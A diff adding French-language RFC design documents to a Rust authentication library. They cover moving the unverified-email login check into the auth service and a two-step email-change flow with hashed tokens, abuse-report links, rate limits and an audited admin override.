105 + let user = Self::verify_credentials(db, identifier, password).await?;
106 +
107 + if user.must_change_password {
108 + tracing::info!("User {} should change password (flag set)", user.username);
109 + }
110 +
111 + let email_validation_required =
112 + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
113 + db,
114 + &["validation_email_required", "validation_email_requise"],
115 + true,
116 + )
117 + .await
118 + .unwrap_or(true);
119 +
120 + if email_validation_required && !user.email_verified {
121 + tracing::warn!(
122 + "Login attempt blocked (unverified email): {} ({})",
123 + user.username,
124 + user.email
125 + );
126 + let _ = crate::services::auth_logging::AuthLoggingService::log_blocked_login(
127 + db,
128 + &user.email,
129 + "email_not_verified",
130 + None,
131 + )
132 + .await;
133 + return Err(AppError::Validation(
134 + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(),
135 + ));
136 + }
137 +
138 + Ok(user)
139 +}
140 +```
141 +
142 +Notes d’implémentation :
143 +
144 +- `unwrap_or(true)` : lookup setting en erreur → **fail-closed** (exiger la vérif), comme le handler.
145 +- `log_blocked_login(..., hooks: None)` : l’`audit_logs` row est écrite ; `on_audit_event` du handler HTTP **ne** part plus de `login` sauf si on ajoute un paramètre `hooks` (open question). Gitrust qui appelait le service n’avait **aucun** check : un audit_log sans hook reste un plus.
146 +- Handler `login` : **supprimer** le bloc 313–340 (évite double lecture setting + double log). Enchaîner TOTP / tokens comme aujourd’hui.
147 +- Coût : la même requête `app_settings` qu’aujourd’hui, déplacée.
148 +
149 +### Usage consommateur (Gitrust / SSR)
150 +
151 +```rust
152 +use rustwarden_core::error::AppError;
153 +use rustwarden_core::middleware::rate_limit::check_auth_rate_limit;
154 +use rustwarden_core::services::auth_service::AuthService;
155 +use axum::http::HeaderMap;
156 +use sea_orm::DatabaseConnection;
157 +
158 +async fn ssr_login(
159 + db: &DatabaseConnection,
160 + headers: &HeaderMap,
161 + identifier: &str,
162 + password: &str,
163 +) -> Result<(), AppError> {
164 + // E-2: this RFC does not add a browser middleware.
165 + if let Err(resp) = check_auth_rate_limit(headers) {
166 + let _ = resp; // map to AppError::TooManyRequests at impl time
167 + return Err(AppError::TooManyRequests {
168 + retry_after_secs: 60,
169 + });
170 + }
171 + let _user = AuthService::authenticate_user(db, identifier, password).await?;
172 + Ok(())
173 +}
174 +```
175 +
176 +Chemin **recommandé** : ne pas dupliquer, `fetch`/`POST` `/api/v1/auth/login` (layer `auth_ip_rate_limit` déjà là, `ConnectInfo` via `RustwardenApp::run`).
177 +
178 +`check_auth_rate_limit` sans `ConnectInfo` clé `auth:unknown` si `TRUSTED_PROXY_HOPS=0` — c’est le contrat 1.0.1 ; les apps SSR doivent préférer le layer ou `into_make_service_with_connect_info`.
179 +
180 +## Analyse de compatibilité
181 +
182 +Checklist :
183 +
184 +- [x] API existante non modifiée → signature `authenticate_user` inchangée (**compile**).
185 +- [ ] API existante étendue avec défaut → N/A.
186 +- [x] API existante modifiée ou supprimée → **breaking comportemental** pour tout caller service qui login un user `email_verified=false` alors que le setting est true.
187 +- [x] Nouveau comportement par défaut du **service** (le HTTP l’avait déjà). Pas de feature-flag au-delà du setting existant.
188 +- [ ] Changement de schéma DB → non.
189 +- [ ] Changement de format sérialisé → le JSON `login` inchangé (même `AppError::Validation`).
190 +
191 +SemVer : minor `Security` documenté, ou major processus §1. Open question. Gitrust **doit** s’attendre au blocage (c’est le bugfix).
192 +
193 +HTTP `login` : non-breaking fonctionnel (même message, même setting).
194 +
195 +## Alternatives considérées
196 +
197 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
198 +
199 +### Alternative A (recommandée) : déplacer le check dans `authenticate_user`
200 +
201 +**Pros** : une porte, impossible à contourner via le service. Même setting / même message / même fail-closed. Admin seed déjà `email_verified=true`. Handler allégé. RFC 0038 devient effective partout.
202 +
203 +**Cons** : breaking pour Gitrust SSR. `on_audit_event` du handler login ne voit plus ce blocage sauf `hooks` passé au service (None au v1). Un `SELECT` settings sur tous les callers service (voulus).
204 +
205 +### Alternative B : documenter « les consommateurs doivent recopier le check »
206 +
207 +**Pros** : zéro diff core service ; HTTP inchangé.
208 +
209 +**Cons** : exactement le gap actuel. Deux implémentations (HTTP vs Gitrust) dérivent. `validation_email_requise` oublié d’un côté. Contredit « lowest common denominator » du processus.
210 +
211 +### Alternative C (ne rien faire)
212 +
213 +**Pros** : zéro coût, zéro risque de casser un login Gitrust non vérifié (s’il en existe en prod).
214 +
215 +**Cons** : bypass service à vie ; 0038 inefficace hors HTTP ; dette audit Task 17.
216 +
217 +## Testing plan
218 +
219 +Tests unitaires / service (DB de test) :
220 +
221 +- Happy path : user `email_verified=true`, setting true → `authenticate_user` `Ok(user)` (credentials valides).
222 +- Happy path setting off : `validation_email_required=false`, user non vérifié → `Ok(user)`.
223 +- Erreur 1 — input invalide : mauvais mot de passe → `AppError::InvalidCredentials` **avant** le check e-mail (pas d’oracle « compte existe mais non vérifié » vs « mauvais mot de passe » au-delà de ce que `verify_credentials` fait déjà).
224 +- Erreur 2 — contrainte politique : setting true (ou absent, défaut true), `email_verified=false`, bon mot de passe → `AppError::Validation` avec le message français actuel ; une row `audit_logs` `login_blocked` / `email_not_verified`.
225 +- Erreur 3 — lookup setting `DbErr` : `unwrap_or(true)` → user non vérifié bloqué (fail-closed), pas de panic ; user vérifié toujours `Ok`.
226 +- Admin bootstrap : `ensure_default_admin` puis `authenticate_user(ADMIN_USERNAME, ADMIN_PASSWORD)` → `Ok` (email déjà true). **Ne pas** modifier le seed ; c’est un test de non-régression.
227 +
228 +Tests d’intégration (handler HTTP) :
229 +
230 +- `POST /api/v1/auth/login` user non vérifié → même 4xx / body qu’aujourd’hui (après suppression du bloc handler).
231 +- `POST /api/v1/auth/login` reste derrière `auth_ip_rate_limit` (tests existants `auth/routes.rs`).
232 +- `verify_credentials` seul (chemin TOTP UI) : user non vérifié + bon password → **toujours Ok** (pas de régression setup 2FA).
233 +
234 +Tests de non-régression :
235 +
236 +- Consommateurs **compilent**.
237 +- `must_change_password` toujours logged, jamais bloquant dans `authenticate_user`.
238 +- `rustwarden-ui` login page : pas de nouveau middleware ; continue d’appeler l’API.
239 +
240 +Doctests :
241 +
242 +- Rustdoc anglais sur `authenticate_user` : politique e-mail + pointeur `verify_credentials`. Exemple I/O en `ignore`. Contrat lisible sans DB.
243 +
244 +Benchs : un `get_bool_with_fallback` déjà payé par HTTP. Pas de nouveau bcrypt. Pas de seuil 10 %.
245 +
246 +Les snippets `ssr_login` sont documentaires ; `TooManyRequests` mapping est indicatif.
247 +
248 +## Migration guide
249 +
250 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
251 +
252 +```markdown
253 +### API changes
254 +
255 +**Before (v1.0.1)** :
256 +Le contrôle `email_verified` vivait dans `auth::handlers::login`
257 +(`get_bool_with_fallback(["validation_email_required",
258 +"validation_email_requise"], true)`). `AuthService::authenticate_user`
259 +ne vérifiait que le mot de passe. Un SSR / Gitrust qui appelait le
260 +service contournait la politique.
261 +
262 +**After (vX.Y.Z)** :
263 +Le même contrôle (mêmes clés, défaut `true`, fail-closed, même
264 +`AppError::Validation` français) est dans `authenticate_user`.
265 +Le handler `login` ne le duplique plus. `verify_credentials` inchangé
266 +(re-auth TOTP). `ensure_default_admin` pose déjà `email_verified=true`
267 +— pas de changement de seed.
268 +
269 +Breaking pour les callers de `authenticate_user` : un compte non
270 +vérifié est désormais refusé si le setting est actif.
271 +
272 +E-2 : pas de nouveau middleware browser. Limiteur =
273 +`auth_ip_rate_limit` sur `/api/v1/auth/*`. Un `POST /login` SSR doit
274 +appeler `check_auth_rate_limit` **ou** passer par l'API.
275 +
276 +```rust
277 +let user = AuthService::authenticate_user(db, identifier, password).await?;
278 +```
279 +
280 +### Migration steps
281 +
282 +1. Bump `rustwarden-core` à la version qui livre RFC 0040.
283 +2. Gitrust : grep `authenticate_user` — s'attendre au `Validation`
284 + e-mail non vérifié ; ne **pas** réimplémenter le check à côté.
285 +3. Routes SSR `POST /login` : `check_auth_rate_limit` ou proxy API.
286 + Pas d'obligation de nouveau layer.
287 +4. Vérifier que l'admin par défaut se connecte toujours (seed
288 + `email_verified=true`).
289 +5. Aucune migration SQL.
290 +```
291 +
292 +## Open questions
293 +
294 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
295 +
296 +- [x] **`hooks` sur `authenticate_user`** : rester `log_blocked_login(..., None)` (recommandé v1, signature stable) vs `Option<&Arc<dyn RustwardenHooks>>` (breaking ou surcharge) ? **Résolu (2026-09-18) : v1 : `log_blocked_login(..., None)`, pas de paramètre `hooks` (signature stable).**
297 +- [x] **`AppError::EmailNotVerified`** : garder `Validation` (compat UI) vs variante dédiée (meilleur i18n, breaking JSON) ? **Résolu (2026-09-18) : garder `AppError::Validation` avec le message français actuel (compat UI qui parse `err.error`/`err.message`).**
298 +- [x] **SemVer** : minor Security vs major (comportement service) ? **Résolu (2026-09-18) : 1.1.0 minor Security.**
299 +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md.**
300 +
301 +## Tracking issue
302 +
303 +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant Task 17, E-2 et Gitrust. Pas d’URL tant que le Draft n’est pas soumis.
304 +
305 +---
306 +
307 +## Score d'évaluation (rempli par les reviewers)
308 +
309 +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35.
310 +
311 +| Critère | Note (1-5) | Commentaire |
312 +|---|---|---|
313 +| Généralité | 5 | Tous les callers `authenticate_user` ; Gitrust n’a plus de bypass. |
314 +| Stabilité API | 4 | Signature identique ; breaking comportemental service (voulu, HTTP inchangé). |
315 +| Performance | 5 | Même `get_bool_with_fallback` qu’avant, juste déplacé ; pas de bcrypt extra. |
316 +| Sécurité | 5 | Ferme le trou SSR/service ; fail-closed ; `verify_credentials` reste utilisable. |
317 +| Complexité d'implémentation | 5 | Déplacer ~25 lignes + tests ; seed admin intact. |
318 +| Charge de maintenance | 5 | Une politique, un endroit ; plus de drift handler vs service. |
319 +| Documentation | 4 | RFC + CHANGELOG + rustdoc + contrat E-2 rate-limit. |
320 +| **Total** | **33/35** | (≥ 25 pour Accepted) |
A docs/rfcs/0041-pending-email-changes.md
+1070 -0
@@ -0,0 +1,1070 @@
1 +# RFC 0041 — Changement d'e-mail en deux temps (`pending_email_changes`)
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / suite de la RFC 0038)
4 +- **Date** : 2026-09-19
5 +- **Statut** : Accepted (2026-09-19)
6 +- **Apps consommatrices concernées** : Gitrust ; `rustwarden-ui` (`PUT /settings/profile`, `PUT /admin/users/{id}`) ; tout consommateur headless qui appelle `UserService::update_profile` avec un e-mail
7 +- **Crate cible** : `rustwarden-core` (**core uniquement**)
8 +- **Origine** : § « v2 (follow-up) » de la [RFC 0038](0038-email-change-revalidation.md) (L117-121), déclenchée par le mode de panne documenté dans [`docs/MIGRATION_GUIDE.md`](../MIGRATION_GUIDE.md) (§ RFC 0038, « Faute de frappe sur la nouvelle adresse = lock-out définitif sans recours self-service »)
9 +- **Remplace** : [RFC 0038](0038-email-change-revalidation.md) — basculée en `Superseded by 0041` (fait le 2026-09-19)
10 +
11 +> **Arbitrages du mainteneur rendus le 2026-09-19.** Les neuf Open questions sont tranchées (§ [Open questions](#open-questions)) et leurs conséquences sont intégrées au corps du document : méthode `admin_force_change`, page interstitielle `GET` → `POST` sur les **deux** liens, migration d'`invalidate_on_email_change` dans `confirm_change`, émission d'`on_email_verified` côté service, `PendingEmailChangeCleanupProcessor` avec rétention de 30 jours en constante.
12 +
13 +## Summary
14 +
15 +Ne plus jamais écrire `users.email` avant preuve de possession : une demande de changement d'adresse atterrit dans une table `pending_email_changes` (token hashé + expiration), l'adresse du compte reste **inchangée et vérifiée** tant que le lien envoyé à la nouvelle boîte n'a pas été suivi **et** confirmé sur la page qu'il ouvre, et l'ancienne boîte reçoit une information assortie d'un lien de signalement. Le seul chemin qui écrit une adresse sans cette preuve est `EmailChangeService::admin_force_change`, réservé au rôle `admin` et tracé dans `audit_logs`.
16 +
17 +## Motivation
18 +
19 +### Problème concret
20 +
21 +La v1 (RFC 0038, implémentée dans [`user_service.rs`](../../crates/rustwarden-core/src/services/user_service.rs) L277-312 + `notify_email_change` L327-419) écrit l'adresse **immédiatement**, puis bascule `email_verified = false` / `email_verified_at = NULL`.
22 +
23 +Chaîne de panne, déjà décrite noir sur blanc dans le guide de migration :
24 +
25 +1. L'utilisateur saisit `bob@gmial.com` au lieu de `bob@gmail.com`.
26 +2. `update_profile` écrit la faute de frappe dans `users.email` et retire le flag vérifié.
27 +3. Le mail de validation part vers `bob@gmial.com` — boîte que l'utilisateur ne possède pas.
28 +4. L'ancienne adresse ne reçoit qu'une alerte `account_modified` **sans lien d'action** (`user_service.rs` L359-418, type de queue `"account_modified"`).
29 +5. Les deux voies de secours (`POST /api/v1/auth/resend-verification` et `.../by-username`, montées dans [`auth/routes.rs`](../../crates/rustwarden-core/src/auth/routes.rs) L45-52) renvoient vers l'adresse **stockée** — donc vers la faute de frappe.
30 +6. Avec `validation_email_required` actif (défaut, RFC 0040), la **prochaine** connexion est refusée.
31 +
32 +Résultat : lock-out sans recours self-service, correctible uniquement par un administrateur. Le coût de l'erreur est maximal alors que l'erreur elle-même est banale.
33 +
34 +Le second mode de panne v1 est la **session volée** : un attaquant qui dispose d'un JWT valide peut réécrire `users.email` sans connaître le mot de passe. L'alerte part vers l'ancienne boîte, mais elle arrive **après** l'écriture, et sans moyen d'action.
35 +
36 +### Qui est impacté
37 +
38 +- **Tout utilisateur** qui change d'adresse via le profil ou via l'admin : un caractère de travers coûte un ticket support.
39 +- **Les opérateurs** : `PUT /admin/users/{id}` est aujourd'hui la seule procédure de déblocage.
40 +- **Gitrust et les apps headless** : elles héritent du comportement dès qu'elles appellent `UserService::update_profile`.
41 +- **`rustwarden-ui`** : son formulaire de profil (`crates/rustwarden-ui/src/handlers/settings/profile.rs` L24-51) poste `username` **et** `email` dans le même DTO.
42 +
43 +### Si on ne fait rien
44 +
45 +On livre en 1.1.0 un durcissement sécurité (v1 : le flag vérifié ne suit plus l'adresse) dont l'effet de bord est une **régression de disponibilité** pour l'utilisateur légitime. Le guide de migration recommande déjà aux consommateurs d'ajouter une double saisie d'adresse côté UI : c'est du contournement applicatif dupliqué dans chaque consommateur, exactement ce que le framework est censé éviter.
46 +
47 +### Urgence
48 +
49 +La v1 **n'est pas diffusée** : `crates/rustwarden-core/Cargo.toml` L3 est toujours `version = "1.0.0"`, le train `1.1.0` du `CHANGELOG.md` n'est pas coupé. La fenêtre pour substituer 0041 à 0038 **sans période de compatibilité** est ouverte maintenant et se referme à la publication de 1.1.0. Aucun consommateur n'aura jamais vu le comportement v1.
50 +
51 +## Non-goals
52 +
53 +- **Pas de refonte de l'UI — décision confirmée le 2026-09-19.** `rustwarden-ui` reçoit la seule adaptation **non cassante** nécessaire (le champ e-mail du formulaire profil ne doit plus produire d'erreur serveur). La **refonte UI complète** du parcours — écran « demande en cours », bouton « annuler la demande », double saisie de l'adresse, appel du nouvel endpoint depuis le formulaire, écran de suivi côté admin — est un **chantier séparé et ultérieur**, explicitement hors périmètre. Corollaire assumé : entre le merge de cette RFC et ce chantier, le seul chemin utilisateur du changement d'adresse est l'appel API `POST /api/v1/auth/email-change`.
54 +- **Pas de changement de signature** de `UserService::update_profile` : elle reste `(db, user_id, username: Option<String>, email: Option<String>)`. Seul le **comportement** de la branche e-mail change.
55 +- **Pas de modification du flow `register`, et pas de traitement de la faute de frappe à l'inscription — tranché le 2026-09-19.** `create_user` pose déjà `email_verified: false` et `EmailValidationService::send_validation_email` reste la porte de validation initiale. `register` écrit l'adresse saisie **sans double vérification** : un utilisateur qui se trompe au signup reste bloqué, et cette RFC ne change rien à cela. La justification du découpage : à l'inscription, le compte n'est **pas encore établi** et il n'existe **aucune identité à protéger** — c'est un flux de nature différente du changement d'adresse, où l'enjeu est précisément de ne pas perdre une identité déjà prouvée. L'arbitrage propre à ce flux (double saisie de l'adresse au formulaire d'inscription *vs* renvoi de lien sur demande, *vs* purge des comptes jamais validés) mérite sa propre RFC. **Follow-up à ouvrir** : « faute de frappe à l'inscription », suivi dans `docs/plans/` au même titre que celui de cette RFC.
56 +- **Pas de refonte de l'i18n des e-mails existants — tranché le 2026-09-19.** Le `// TODO: Get from user preferences or Accept-Language header` de [`email_validation_service.rs`](../../crates/rustwarden-core/src/services/email_validation_service.rs) L140 et de [`password_reset_service.rs`](../../crates/rustwarden-core/src/services/password_reset_service.rs) L156 reste en place. Seuls les **quatre nouveaux** templates (les trois du flux utilisateur, plus celui de l'avis administrateur introduit par la décision n° 1) et les **pages interstitielles** lisent la locale du destinataire.
57 +- **Pas de révocation des JWT d'accès déjà émis.** `confirm_change` **et** `admin_force_change` révoquent les *refresh tokens* (même contrat que `change_password_direct`, `user_service.rs` L678, et `admin_reset_password`, L631) ; un access token non expiré reste valide jusqu'à son `exp`. Une révocation par `jti` via `JwtBlacklistService` est un chantier distinct.
58 +- **Pas de charset e-mail** (RFC 0036 couvre les usernames). La validation reste `contains('@') && contains('.')`, identique à l'existant.
59 +- **Pas de blocage sur signalement.** Décision explicite du mainteneur : `report_suspicious` **alerte**, il ne **refuse** pas. Voir § « Pourquoi le signalement ne bloque pas ».
60 +- **Aucune nouvelle variable d'environnement — tranché le 2026-09-19.** L'expiration réutilise `EMAIL_VALIDATION_EXPIRATION_HOURS` via [`config::tasks::email_validation_expiration_hours`](../../crates/rustwarden-core/src/config/tasks.rs) L98-100 (défaut 24 h) ; la rétention et la période du processeur de purge sont des **constantes de code** (§ « Rétention et tâche de fond »). Aucune clé n'est ajoutée à `.env`, donc aucun consommateur n'a de configuration à mettre à jour.
61 +- **Pas de SQL brut** : SeaORM uniquement, migration via `SchemaManager`.
62 +
63 +## API proposée
64 +
65 +> Les snippets ci-dessous sont la **cible acceptée** : ils ne compilent pas tant que la table, le modèle et le service n'existent pas, et l'implémentation peut ajuster les détails internes (noms de variables locales, découpage en helpers privés) tant que les **signatures publiques et les contrats** décrits ici sont respectés. Ils reprennent les patrons **réels** de `EmailValidationService` / `PasswordResetService` (vérifiés 2026-09-19, références de lignes dans le texte).
66 +
67 +### 1. Schéma
68 +
69 +Migration `crates/rustwarden-core/src/migrations/m20260919_000011_pending_email_changes.rs`, enregistrée dans [`migrations/mod.rs`](../../crates/rustwarden-core/src/migrations/mod.rs) (`pub mod` L53 + entrée `core_migrations()` L69). Prochain numéro après `m20260918_000010_totp_last_used_step`.
70 +
71 +| Colonne | Type | Contraintes |
72 +|---|---|---|
73 +| `id` | `uuid` | PK |
74 +| `user_id` | `uuid` | `NOT NULL`, FK → `users.id` `ON DELETE CASCADE`, indexée |
75 +| `new_email` | `varchar(255)` | `NOT NULL` (même longueur que `users.email`) |
76 +| `token_hash` | `varchar(64)` | `NOT NULL`, `UNIQUE`, indexée (SHA-256 hex) |
77 +| `report_token_hash` | `varchar(64)` | `NOT NULL`, `UNIQUE`, indexée (SHA-256 hex, **distinct** du précédent) |
78 +| `expires_at` | `timestamptz` | `NOT NULL`, indexée |
79 +| `used_at` | `timestamptz` | `NULL` |
80 +| `reported_at` | `timestamptz` | `NULL` |
81 +| `created_at` | `timestamptz` | `NOT NULL`, `DEFAULT now()` |
82 +
83 +Patron de migration : [`m20260422_000007_create_personal_access_tokens.rs`](../../crates/rustwarden-core/src/migrations/m20260422_000007_create_personal_access_tokens.rs) (FK cascade L71-77, `string_len(64)` pour un hash SHA-256 L39-44, index explicites L83-117). `down()` = `drop_table`, donc **réversible**.
84 +
85 +**Élargissement de `chk_email_queue_email_type`** (découvert à l'exécution des tests, pas à la rédaction) : `email_queue.email_type` est encadré par une contrainte `CHECK` listant les valeurs admises, posée par [`m20260305_000001_initial_schema.rs`](../../crates/rustwarden-core/src/migrations/m20260305_000001_initial_schema.rs) L822-838. Les quatre types que cette RFC met en file (`email_change_validation`, `email_change_notice`, `email_change_reported`, `email_change_by_admin`) n'y figurent pas : sans élargissement, **le tout premier `INSERT` du flux échoue** avec une violation `23514` et `request_change` remonte une `AppError::Database`. La même migration reconstruit donc la contrainte avec les onze valeurs. Elle n'est pas supprimée : un `email_type` inconnu doit rester rejeté. Le `down()` ne resserre la liste que si plus aucune ligne n'utilise les nouveaux types (bloc `DO $$`), pour qu'un rollback ne détruise jamais d'historique d'envoi. SQL brut assumé ici : `sea-query` n'exprime pas de `CHECK` dans un `ALTER TABLE`, c'est déjà l'approche du schéma initial.
86 +
87 +Pas d'index unique partiel « une seule demande pendante par utilisateur » : `sea-query` ne l'exprime pas portablement. L'unicité fonctionnelle est assurée applicativement par `invalidate_previous_requests`, exactement comme `EmailValidationService::invalidate_previous_tokens` ([`email_validation_service.rs`](../../crates/rustwarden-core/src/services/email_validation_service.rs) L375-395).
88 +
89 +**Deux tokens distincts** : le lien de confirmation part vers la nouvelle boîte, le lien de signalement vers l'ancienne. Un token unique partagé permettrait au détenteur de la nouvelle boîte de « signaler » à la place du titulaire, et au titulaire de confirmer sans posséder la nouvelle adresse. Deux secrets, deux capacités.
90 +
91 +### 2. Modèle SeaORM
92 +
93 +`crates/rustwarden-core/src/models/pending_email_change.rs`, déclaré dans `models/mod.rs` (patron `email_validation_token` L14 + re-export `Entity` L60).
94 +
95 +```rust
96 +/// PendingEmailChange entity model.
97 +///
98 +/// Holds an email-change request that has **not** been applied yet. Until the
99 +/// confirmation is submitted, `users.email` keeps its current — verified —
100 +/// value: the account is never left pointing at an unproven address.
101 +///
102 +/// # Security features
103 +///
104 +/// - Two independent SHA-256 hashes: `token_hash` (confirmation, mailed to the
105 +/// new address) and `report_token_hash` (abuse report, mailed to the current
106 +/// address). Plain tokens are never stored.
107 +/// - Expiration: reuses `EMAIL_VALIDATION_EXPIRATION_HOURS` (24 h by default).
108 +/// - Single use: `used_at` is set when the change is applied.
109 +/// - Cascade delete: rows are removed when the user is deleted.
110 +#[derive(Clone, Debug, Serialize, Deserialize, DeriveEntityModel)]
111 +#[sea_orm(table_name = "pending_email_changes")]
112 +pub struct Model {
113 + /// Unique identifier for the request.
114 + #[sea_orm(primary_key)]
115 + pub id: Uuid,
116 +
117 + /// User this request belongs to.
118 + #[sea_orm(indexed)]
119 + pub user_id: Uuid,
120 +
121 + /// Candidate address. Written to `users.email` only on confirmation.
122 + pub new_email: String,
123 +
124 + /// SHA-256 hash of the confirmation token (sent to `new_email`).
125 + #[sea_orm(unique, indexed)]
126 + pub token_hash: String,
127 +
128 + /// SHA-256 hash of the report token (sent to the current address).
129 + #[sea_orm(unique, indexed)]
130 + pub report_token_hash: String,
131 +
132 + /// Expiration timestamp.
133 + #[sea_orm(indexed)]
134 + pub expires_at: DateTime<Utc>,
135 +
136 + /// Set when the change has been applied. `None` while pending.
137 + pub used_at: Option<DateTime<Utc>>,
138 +
139 + /// Set when the current address owner flagged the request as suspicious.
140 + /// Informational only — it never blocks the change.
141 + pub reported_at: Option<DateTime<Utc>>,
142 +
143 + /// Creation timestamp.
144 + pub created_at: DateTime<Utc>,
145 +}
146 +
147 +impl Model {
148 + /// Returns `true` once the expiration timestamp has passed.
149 + pub fn is_expired(&self) -> bool {
150 + Utc::now() > self.expires_at
151 + }
152 +
153 + /// Returns `true` once the change has been applied.
154 + pub fn is_used(&self) -> bool {
155 + self.used_at.is_some()
156 + }
157 +
158 + /// Returns `true` while the request can still be confirmed.
159 + pub fn is_pending(&self) -> bool {
160 + !self.is_used() && !self.is_expired()
161 + }
162 +}
163 +```
164 +
165 +`Relation::User` avec `on_delete = "Cascade"`, à l'identique de [`email_validation_token.rs`](../../crates/rustwarden-core/src/models/email_validation_token.rs) L54-70.
166 +
167 +### 3. `EmailChangeService`
168 +
169 +`crates/rustwarden-core/src/services/email_change_service.rs`, déclaré dans `services/mod.rs` (patron `email_validation_service` L22).
170 +
171 +```rust
172 +/// Default: 3 email-change requests per user per hour.
173 +const EMAIL_CHANGE_RATE_LIMIT_MAX: u32 = 3;
174 +const EMAIL_CHANGE_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600);
175 +
176 +/// Process-wide sliding-window limiter for email-change requests.
177 +///
178 +/// Distinct from the password-reset and email-validation limiters so the three
179 +/// flows keep separate budgets.
180 +static EMAIL_CHANGE_LIMITER: OnceLock<RateLimitService> = OnceLock::new();
181 +
182 +/// Two-step email change service.
183 +///
184 +/// Nothing is written to `users.email` until the confirmation link mailed to
185 +/// the candidate address is followed. A typo therefore expires harmlessly and
186 +/// the account never loses access.
187 +pub struct EmailChangeService {
188 + email_config: EmailConfig,
189 + /// Sliding-window rate limiter (shared abstraction, see [`RateLimitService`]).
190 + rate_limiter: RateLimitService,
191 + /// Optional translation backend. When `None`, emails fall back to
192 + /// [`config::tasks::default_locale`](crate::config::tasks::default_locale).
193 + i18n: Option<Arc<I18nService>>,
194 +}
195 +
196 +impl EmailChangeService {
197 + /// Create a service using the process-wide rate limiter.
198 + pub fn new(email_config: EmailConfig) -> Self { /* ... */ }
199 +
200 + /// Attach the translation service so emails honour the recipient locale.
201 + pub fn with_i18n(self, i18n: Arc<I18nService>) -> Self { /* ... */ }
202 +
203 + /// Build a service around an injected limiter (unit tests; avoids the
204 + /// process [`OnceLock`]).
205 + #[cfg(test)]
206 + pub(crate) fn new_with_limiter(
207 + email_config: EmailConfig,
208 + rate_limiter: RateLimitService,
209 + ) -> Self { /* ... */ }
210 +
211 + /// Open an email-change request for an authenticated user.
212 + ///
213 + /// Re-authentication is mandatory: a stolen session alone cannot move the
214 + /// account's identity. `current_password` is checked through
215 + /// [`AuthService::verify_credentials`](crate::services::auth_service::AuthService::verify_credentials),
216 + /// which runs bcrypt in constant time.
217 + ///
218 + /// On success two emails are queued:
219 + /// - a confirmation link to `new_email`;
220 + /// - a notice plus a report link to the account's **current** address.
221 + ///
222 + /// `users.email`, `email_verified` and `email_verified_at` are left
223 + /// untouched.
224 + ///
225 + /// # Errors
226 + ///
227 + /// - [`AppError::TooManyRequests`] — more than 3 requests for this user
228 + /// within the hour.
229 + /// - [`AppError::InvalidCredentials`] — wrong `current_password`.
230 + /// - [`AppError::Validation`] — malformed address, address identical to the
231 + /// current one, or address already taken by another account.
232 + /// - [`AppError::NotFound`] — unknown `user_id`.
233 + pub async fn request_change(
234 + &self,
235 + db: &DatabaseConnection,
236 + user_id: Uuid,
237 + new_email: &str,
238 + current_password: &str,
239 + ) -> Result<(), AppError> { /* ... */ }
240 +
241 + /// Apply a pending change from its confirmation token.
242 + ///
243 + /// Confirming from the page the emailed link opens **is** the proof of
244 + /// possession (see the RFC's interstitial-page section), so the address lands
245 + /// already verified: `users.email = new_email`, `email_verified = true`,
246 + /// `email_verified_at = now()`. Uniqueness is re-checked here because
247 + /// another account may have claimed the address in the meantime.
248 + ///
249 + /// All refresh tokens are revoked (same contract as
250 + /// [`UserService::change_password_direct`](crate::services::user_service::UserService::change_password_direct)),
251 + /// and any pending password-change request is dropped through
252 + /// [`PasswordChangeService::invalidate_on_email_change`](crate::services::password_change_service::PasswordChangeService::invalidate_on_email_change):
253 + /// a confirmation link mailed to the previous address must never be usable
254 + /// once that address no longer belongs to the account.
255 + ///
256 + /// Hooks fired here, best-effort:
257 + /// [`RustwardenHooks::on_email_verified`] (the click *is* the proof of
258 + /// possession) and [`RustwardenHooks::on_audit_event`] with kind
259 + /// `user.email_changed`.
260 + ///
261 + /// Returns the user id whose address changed.
262 + ///
263 + /// # Errors
264 + ///
265 + /// - [`AppError::Validation`] — unknown, expired or already-used token, or
266 + /// the candidate address is no longer available.
267 + /// - [`AppError::NotFound`] — the user was deleted since the request.
268 + pub async fn confirm_change(
269 + &self,
270 + db: &DatabaseConnection,
271 + token: &str,
272 + hooks: Option<&Arc<dyn RustwardenHooks>>,
273 + ) -> Result<Uuid, AppError> { /* ... */ }
274 +
275 + /// Administrative override: write `new_email` without confirmation.
276 + ///
277 + /// Operational recourse for the one dead end the two-step flow cannot
278 + /// solve on its own: a user who lost **both** the password and the access
279 + /// to the account's current mailbox (see the RFC's scenarios). The v1
280 + /// capability — an admin fixing an address through
281 + /// `PUT /admin/users/{id}` — is preserved, but it becomes an **explicit,
282 + /// audited operation** instead of a side effect of
283 + /// [`UserService::update_profile`](crate::services::user_service::UserService::update_profile).
284 + ///
285 + /// Contract:
286 + /// - `actor_id` **must** carry the `admin` role
287 + /// ([`UserService::get_user_roles`](crate::services::user_service::UserService::get_user_roles));
288 + /// otherwise [`AppError::Forbidden`] and nothing is written.
289 + /// - `users.email = new_email`, `email_verified = true`,
290 + /// `email_verified_at = now()` — the operator vouches for the address
291 + /// after an out-of-band identity check.
292 + /// - Every pending request of the target user is consumed, so a stale
293 + /// confirmation link cannot resurrect the previous candidate address.
294 + /// - All refresh tokens of the **target** account are revoked, exactly as
295 + /// in [`Self::confirm_change`]; the acting administrator's own sessions
296 + /// are untouched.
297 + /// - An `audit_logs` row is written (`action = "email_changed_by_admin"`,
298 + /// `level = "WARN"`, `user_id = actor_id`, `target_user_id = user_id`,
299 + /// masked addresses) and [`RustwardenHooks::on_audit_event`] is emitted
300 + /// with kind `user.email_changed_by_admin`.
301 + /// - Both mailboxes are notified: the previous address gets a notice, the
302 + /// new one gets a confirmation of the operator-driven change. Neither
303 + /// mail carries an action link — there is nothing left to confirm.
304 + ///
305 + /// No rate limit and no password check: authorisation is the admin role,
306 + /// enforced by the caller's route middleware **and** re-checked here.
307 + ///
308 + /// # Errors
309 + ///
